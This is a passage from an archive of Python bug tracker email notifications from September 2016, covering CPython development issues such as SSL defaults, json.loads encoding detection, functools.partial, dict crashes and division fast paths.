On modern Intel chips, one of the entropy sources is the CPU itself, and so this problem is mostly theoretical on such systems unless you're worried about the quality of Intel's entropy generation (in which case you're well and truly into sovereign espionage and advanced persistent threat territory, and really shouldn't be blindly trusting operating systems and programming language runtimes to already be doing the right thing).

So the main ways to get bad entropy from /dev/urandom on Linux are:

- a misconfigured VM that has been cut off from all decent entropy sources, and doesn't have any persistent storage attached
- an embedded non-Intel chip that doesn't have any decent entropy sources or persistent storage attached

If you're not doing either of those things, you're probably fine. If you're worried that you might be, try running Python 3.6 and calling os.getrandom() explicitly to see what happens.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:42:22 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 08:42:22 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473496942.7.0.898115741427.issue22493@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Updated patch that deprecates flags not at the start. fnmatch.translate() now uses scoped flags (issue433028).

----------
Added file: http://bugs.python.org/file44526/re_deprecate_nonstart_flags2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:43:54 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 08:43:54 +0000
Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx
In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za>
Message-ID: <1473497034.42.0.820885193325.issue27867@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I think those names (with the leading underscore removed) would be fine as a public API - the fact that PySlice_EvalIndices doesn't take a reference to the slice object seems similar to a static method, where the prefix is there for namespacing reasons, rather than because it actually operates on a slice instance.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27867>
_______________________________________

From report at bugs.python.org  Sat Sep 10 05:04:33 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 09:04:33 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473498273.34.0.424496718231.issue28022@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

+1 for a common note in all affected modules along the lines of "An appropriately configured SSLContext should be provided for any use cases that involve accepting self-signed certificates, privately signed certificates, or any other kind of certificate that won't validate against the default system certificate trust store.

It is expected that a future version of Python will switch to explicitly verifying SSL certificates for all SSL/TLS protected connections by default (due to the widespread use of self-signed and privately signed certificates for other protocols, full verification is currently the default only for HTTPS)."

Regarding ssl.wrap_socket(), would it be feasible to provide a migration path to a situation where that's just a thin wrapper around ssl.get_default_context().wrap_socket()?

Comparing the parameter lists:

>>> module_params - method_params
{'ciphers', 'keyfile', 'ca_certs', 'ssl_version', 'cert_reqs', 'certfile'}
>>> method_params - module_params
{'server_hostname'}

That means the real problems are the ciphers, keyfile, ca_certs, ssl_version, cert_reqs and certfile parameters and the internal use of SSLContext() rather than get_default_context(), rather than the essential idea of providing a shorthand spelling for "wrap a socket with the default SSL/TLS settings".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sat Sep 10 05:20:43 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 09:20:43 +0000
Subject: [issue28043] Sane defaults for SSLContext options and ciphers
In-Reply-To: <1473419921.81.0.961538270346.issue28043@psf.upfronthosting.co.za>
Message-ID: <1473499243.67.0.0279567348585.issue28043@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

+1 from me for a model where ssl.get_default_context() can change in maintenance releases, while the ssl.SSLContext defaults get updated for feature releases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28043>
_______________________________________

From report at bugs.python.org  Sat Sep 10 05:24:13 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 09:24:13 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473499453.18.0.259909224114.issue24254@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

The danger of sprints, and decisions being made without adequate input from affected parties.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 05:29:11 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 09:29:11 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473499751.23.0.0403892723319.issue24254@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Ethan started a python-dev thread here: https://mail.python.org/pipermail/python-dev/2016-September/146358.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 05:38:32 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 09:38:32 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473500312.2.0.803512007385.issue24363@psf.upfronthosting.co.za>


Martin Panter added the comment:

Patch for Python 2

----------
Added file: http://bugs.python.org/file44527/header.py2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Sat Sep 10 05:39:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 09:39:50 +0000
Subject: [issue28004] Optimize bytes.join(sequence)
In-Reply-To: <1473272106.7.0.875359968235.issue28004@psf.upfronthosting.co.za>
Message-ID: <1473500390.58.0.398746604196.issue28004@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Tests in the article don't look reliable. For example bytes_percent() and bytes_plus() test nothing, because b"%s %s" % (b"hi", b"there") and b"hi" + b" " + b"there" are evaluated at compile time.

Yes, bytes.join(sequence) is a little slower on Python 3 for short sequences. But for long sequences Python 3 is faster.

The code for bytes.join() is already too complex, and the proposed optimization makes it more complicated. And the optimization decreases performance on my netbook:

$ ./python -m timeit -s "sep=b' '; seq=(b'hello', b'world')" -- 'sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq); sep.join(seq)'

Python 2.7: 100000 loops, best of 3: 7.24 usec per loop
Python 3.6 unpatched: 100000 loops, best of 3: 8.62 usec per loop
Python 3.6 patched: 100000 loops, best of 3: 9.11 usec per loop

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28004>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:00:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 10:00:17 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <20160910100014.48515.89089.E4F577F7@psf.io>


Roundup Robot added the comment:

New changeset cdc91b6ae3b2 by Nick Coghlan in branch 'default':
Issue #27137: align Python & C implementations of functools.partial
https://hg.python.org/cpython/rev/cdc91b6ae3b2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:02:04 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:02:04 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473501724.05.0.990597949558.issue27137@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Thanks folks - for 3.6, the pure Python and accelerated C implementations of functools.partial are now both multiprocessing, subclassing, and REPL friendly :)

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:07:43 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:07:43 +0000
Subject: [issue17909] Autodetecting JSON encoding
In-Reply-To: <1367759430.76.0.988181674037.issue17909@psf.upfronthosting.co.za>
Message-ID: <1473502063.08.0.355929821344.issue17909@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Having hit the json.loads() problem recently when porting a project to Python 3, I'm keen to see this land for 3.6.

Accodingly, assigning to myself to review and merge Serhiy's patch - if it proves necessary, we can tweak the details of the encoding detection during beta.

----------
assignee: serhiy.storchaka -> ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17909>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:16:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 10:16:45 +0000
Subject: [issue17909] Autodetecting JSON encoding
In-Reply-To: <1367759430.76.0.988181674037.issue17909@psf.upfronthosting.co.za>
Message-ID: <20160910101641.1841.51588.3FA90B6C@psf.io>


Roundup Robot added the comment:

New changeset e9e1bf9ec2ac by Nick Coghlan in branch 'default':
Issue #17909: Accept binary input in json.loads
https://hg.python.org/cpython/rev/e9e1bf9ec2ac

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17909>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:18:20 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:18:20 +0000
Subject: [issue17909] Autodetecting JSON encoding
In-Reply-To: <1367759430.76.0.988181674037.issue17909@psf.upfronthosting.co.za>
Message-ID: <1473502700.89.0.0244618188897.issue17909@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Thanks for tackling this Serhiy!

I removed issue 13916 from the dependency list, as while that's a reasonable suggestion, I don't think this fix is conditional on that change.

----------
dependencies:  -disallow the "surrogatepass" handler for non utf-* encodings
resolution:  -> fixed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17909>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:21:47 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:21:47 +0000
Subject: [issue10976] accept bytes in json.loads()
In-Reply-To: <1295636509.41.0.0138366952356.issue10976@psf.upfronthosting.co.za>
Message-ID: <1473502907.13.0.634558228574.issue10976@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

As Martin noted, Serhiy has implemented the autodetection option for json.loads in #17909 so closing this one as out of date - UTF-8, UTF-16 and UTF-32 encoded JSON data will be deserialised automatically in 3.6, while other text encodings aren't officially supported by the JSON RFCs.

----------
resolution:  -> out of date
status: open -> closed
superseder:  -> Autodetecting JSON encoding

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10976>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:23:39 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:23:39 +0000
Subject: [issue22555] Tracking issue for adjustments to binary/text boundary
 handling
In-Reply-To: <1412481703.35.0.528069461639.issue22555@psf.upfronthosting.co.za>
Message-ID: <1473503019.54.0.768943452857.issue22555@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Added another issue to the tracking list: 

* Automatically decode binary data in json.loads: issue #17909

----------
dependencies: +Autodetecting JSON encoding

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22555>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:24:12 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:24:12 +0000
Subject: [issue17909] Autodetecting JSON encoding
In-Reply-To: <1367759430.76.0.988181674037.issue17909@psf.upfronthosting.co.za>
Message-ID: <1473503052.02.0.76504441552.issue17909@psf.upfronthosting.co.za>


Changes by Nick Coghlan <ncoghlan at gmail.com>:


----------
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17909>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:25:29 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:25:29 +0000
Subject: [issue19837] Wire protocol encoding for the JSON module
In-Reply-To: <1385778645.87.0.0800898315059.issue19837@psf.upfronthosting.co.za>
Message-ID: <1473503129.0.0.843863500686.issue19837@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

For 3.6, the decoding case has been handled via Serhiy's autodetection patch in issue 17909

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19837>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:46:13 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 10:46:13 +0000
Subject: [issue28060] Clean up division fast paths in Objects/longobject.c
Message-ID: <1473504373.09.0.740082667997.issue28060@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

We seem to have ended up with redundant fast path checks for division in longobject.c: long_div has a fast path check, but the long_div slow path calls l_divmod, which then does a second, identical, fast path check. long_mod has similar behaviour. long_divmod, however, has no fast path, so relies on the one from l_divmod.

This patch removes the extra fast path from l_divmod, and then adds a top-level fast path check to long_divmod.

----------
assignee: mark.dickinson
files: divmod_fastpath.patch
keywords: patch
messages: 275618
nosy: mark.dickinson
priority: normal
severity: normal
stage: commit review
status: open
title: Clean up division fast paths in Objects/longobject.c
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44528/divmod_fastpath.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28060>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:47:58 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 10:47:58 +0000
Subject: [issue28060] Clean up division fast paths in Objects/longobject.c
In-Reply-To: <1473504373.09.0.740082667997.issue28060@psf.upfronthosting.co.za>
Message-ID: <1473504478.12.0.253970622607.issue28060@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

N.B. The patch also tweaks the fast path condition to *include* the common case of a dividend of 0, and *exclude* the rare case of a negative divisor. (The latter change helps to keep the fast path code simple.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28060>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:53:41 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 10:53:41 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za>
Message-ID: <1473504821.18.0.130119082848.issue23722@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Martin, the patch isn't currently applying to trunk - would you have time to take a look at that?

Ned, this is tangentially related to Martin's work on subclass initialization in PEP 487: one of the current problems with zero-argument super is that we don't actually populate the class cell until quite late in the type creation process, so even after the metaclass.__new__ call finishes, zero-argument super still doesn't work yet.

That aspect of the change is clearly a bug fix, but fixing it will have the side-effect of making "__cell__" visible in the class body during execution as a CPython implementation detail.

Would that still be OK to go into beta 2 rather than beta 1?

(Assigned to Ned due to the release management question)

----------
assignee:  -> ned.deily
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:54:57 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 10:54:57 +0000
Subject: [issue27792] bool % int has inconsistent return type.
In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za>
Message-ID: <1473504897.51.0.738664182587.issue27792@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> BTW, Mark, do you think the fast path in long_mod is really needed? Actually the same fast path has already existed in l_divmod.

See issue 28060 for fast path cleanup.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27792>
_______________________________________

From report at bugs.python.org  Sat Sep 10 07:09:03 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Sat, 10 Sep 2016 11:09:03 +0000
Subject: [issue21590] Systemtap and DTrace support
In-Reply-To: <1401195995.8.0.935339035852.issue21590@psf.upfronthosting.co.za>
Message-ID: <1473505743.75.0.448757345679.issue21590@psf.upfronthosting.co.za>


Changes by Kubilay Kocak <koobs.freebsd at gmail.com>:


----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21590>
_______________________________________

From report at bugs.python.org  Sat Sep 10 07:11:31 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 11:11:31 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473505891.34.0.130269936742.issue24254@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Reopening until the __definition_order__ question has been resolved.

----------
resolution: fixed -> 
stage: resolved -> commit review
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 07:12:32 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Sat, 10 Sep 2016 11:12:32 +0000
Subject: [issue21590] Systemtap and DTrace support
In-Reply-To: <1401195995.8.0.935339035852.issue21590@psf.upfronthosting.co.za>
Message-ID: <1473505952.93.0.0800245080826.issue21590@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

@?ukasz in case you're not aware, all koobs-freebsd* bots are DTrace enabled, and can be tested with the custom builder. I'm on IRC (python-dev) if you need anything from me to help progress this

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21590>
_______________________________________

From report at bugs.python.org  Sat Sep 10 07:13:17 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 11:13:17 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473505997.67.0.021197731895.issue24254@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I don't think this is necessarily a blocker for beta 1 (since it can be treated as a bug fix for beta 2 if it's decided to restore the originally proposed behaviour), but it should definitely be resolved before beta 2.

----------
priority:  -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 07:14:31 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Sat, 10 Sep 2016 11:14:31 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473506071.53.0.998156570022.issue27938@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

@Victor I was just checking this issue to copy the test command, to provide results to you both when I saw the lovely surprise. Thank you :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Sat Sep 10 07:26:57 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 11:26:57 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473506817.22.0.996054138454.issue27350@psf.upfronthosting.co.za>


INADA Naoki added the comment:

3% slowdown in microbench is not surprising.
Compact dict introduces one additional indirection.

Instead, I've added freelist for most compact PyDictKeys.
So I think overall performance is almost same to before compact dict.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:05:02 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 12:05:02 +0000
Subject: [issue28061] Python crashes on 'from test import support'
Message-ID: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>


New submission from Emanuel Barry:

VS breaks at line Objects/dictobject.c:2339 - '        if (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)'

I don't have any more useful information; I'm running Windows 7.

----------
components: Interpreter Core
messages: 275627
nosy: ebarry, haypo, methane, ned.deily, serhiy.storchaka
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Python crashes on 'from test import support'
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:12:43 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 12:12:43 +0000
Subject: [issue28062] Streamline repr(partial object)
Message-ID: <1473509563.26.0.129783656333.issue28062@psf.upfronthosting.co.za>


New submission from Emanuel Barry:

This is a followup to #27137, where it was found out the repr of a partial object includes the module (i.e. 'functools') only if it's not a subclass. This behaviour is surprising at best. Attached patch streamlines the reprs of partial objects to always include the module.

Raymond, do you remember why this approach was taken? Looking at the code, it seems it was just the easiest way to go about it.

Side-note: I couldn't run the test suite since I ran into #28061, so I just did manual testing.

----------
components: Library (Lib)
files: functools_partial_repr_1.patch
keywords: patch
messages: 275628
nosy: ebarry, ncoghlan, rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Streamline repr(partial object)
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44529/functools_partial_repr_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28062>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:13:36 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 12:13:36 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473509616.53.0.365233843573.issue27137@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thank you Nick! I just opened #28062 to fix the repr inconsistency between functools.partial and any subclass :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:13:42 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 12:13:42 +0000
Subject: [issue28061] Python crashes on 'from test import support'
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473509622.96.0.763026498491.issue28061@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Which hg (or git) revision do you use?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:15:32 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 12:15:32 +0000
Subject: [issue28061] Python crashes on 'from test import support'
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473509732.92.0.78186453005.issue28061@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Latest, i.e. https://hg.python.org/cpython/rev/a477ef882a16

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:40:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 12:40:13 +0000
Subject: [issue28062] Streamline repr(partial object)
In-Reply-To: <1473509563.26.0.129783656333.issue28062@psf.upfronthosting.co.za>
Message-ID: <1473511213.71.0.889088083728.issue28062@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Similar issues: issue27541 and issue21861.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28062>
_______________________________________

From report at bugs.python.org  Sat Sep 10 09:01:30 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 13:01:30 +0000
Subject: [issue28061] Python crashes on 'from test import support'
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473512490.55.0.755560038279.issue28061@psf.upfronthosting.co.za>


INADA Naoki added the comment:

According to IRC log, the issue happens on Windows.
And hg revision is a477ef882a16.

I'll try building Python on Windows 10 amd64 in this weekend.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 09:07:53 2016
From: report at bugs.python.org (Matthias Klose)
Date: Sat, 10 Sep 2016 13:07:53 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473512873.11.0.0748034036264.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

I don't like that configure check, because it depends on the kernel being used at runtime.  For many architectures you can define in the kernel if the kernel should allow unaligned accesses or not.  Sure this is not an issue for linux distro builds, but might be unexpected for third party builds.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Sat Sep 10 09:51:23 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 10 Sep 2016 13:51:23 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473515483.62.0.479617319177.issue28046@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

Confirming the problem reported by Chi Hsuan Yen. The attached patch fixes this.

Another problem is that the shared libraries names of the extension modules are now suffixed with the wrong triplet, i.e. with the build system triplet instead of the target host triplet. So they cannot be imported. Not sure where this regression has been introduced.

----------
Added file: http://bugs.python.org/file44530/get_sysconfigdata_name.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 09:51:36 2016
From: report at bugs.python.org (Joseph Shen)
Date: Sat, 10 Sep 2016 13:51:36 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za>
Message-ID: <1473515496.74.0.625572788501.issue27874@psf.upfronthosting.co.za>


Joseph Shen added the comment:

I noticed someone use `plat-win` instead of `DLLs` in this http://bugs.python.org/issue28046, so what's your opinion for this?
`plat-win` looks more meaningful than old `DLLs` at least for me,
do your have any plan for this in the 3.6 release?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Sat Sep 10 09:57:44 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 13:57:44 +0000
Subject: [issue28043] Sane defaults for SSLContext options and ciphers
In-Reply-To: <1473419921.81.0.961538270346.issue28043@psf.upfronthosting.co.za>
Message-ID: <1473515864.56.0.668231573794.issue28043@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm planning to remove PROTOCOL_TLS again and replace it with something more sensible.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28043>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:06:21 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 10 Sep 2016 14:06:21 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473516381.88.0.0516514841689.issue28046@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Xavier, that change looks good to me, please commit it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:10:12 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 14:10:12 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za>
Message-ID: <1473516612.72.0.652669322939.issue27874@psf.upfronthosting.co.za>


Steve Dower added the comment:

I don't intend to change any defaults arbitrarily, but you can easily specify a folder with whatever name you like for these. I agree it would be a more sensible name, but it's such a minor issue that change would be more disruptive than helpful.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:12:37 2016
From: report at bugs.python.org (Joseph Shen)
Date: Sat, 10 Sep 2016 14:12:37 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1473516612.72.0.652669322939.issue27874@psf.upfronthosting.co.za>
Message-ID: <CAOYQ2BXZzntPddHEwbjFGO0PD-hR7FYoDvpApy07RaqX14GmWA@mail.gmail.com>


Joseph Shen added the comment:

Yeah it's true, anyway thanks for your support
On Sat, Sep 10, 2016 at 22:10 Steve Dower <report at bugs.python.org> wrote:

>
> Steve Dower added the comment:
>
> I don't intend to change any defaults arbitrarily, but you can easily
> specify a folder with whatever name you like for these. I agree it would be
> a more sensible name, but it's such a minor issue that change would be more
> disruptive than helpful.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27874>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:16:56 2016
From: report at bugs.python.org (Zachary Ware)
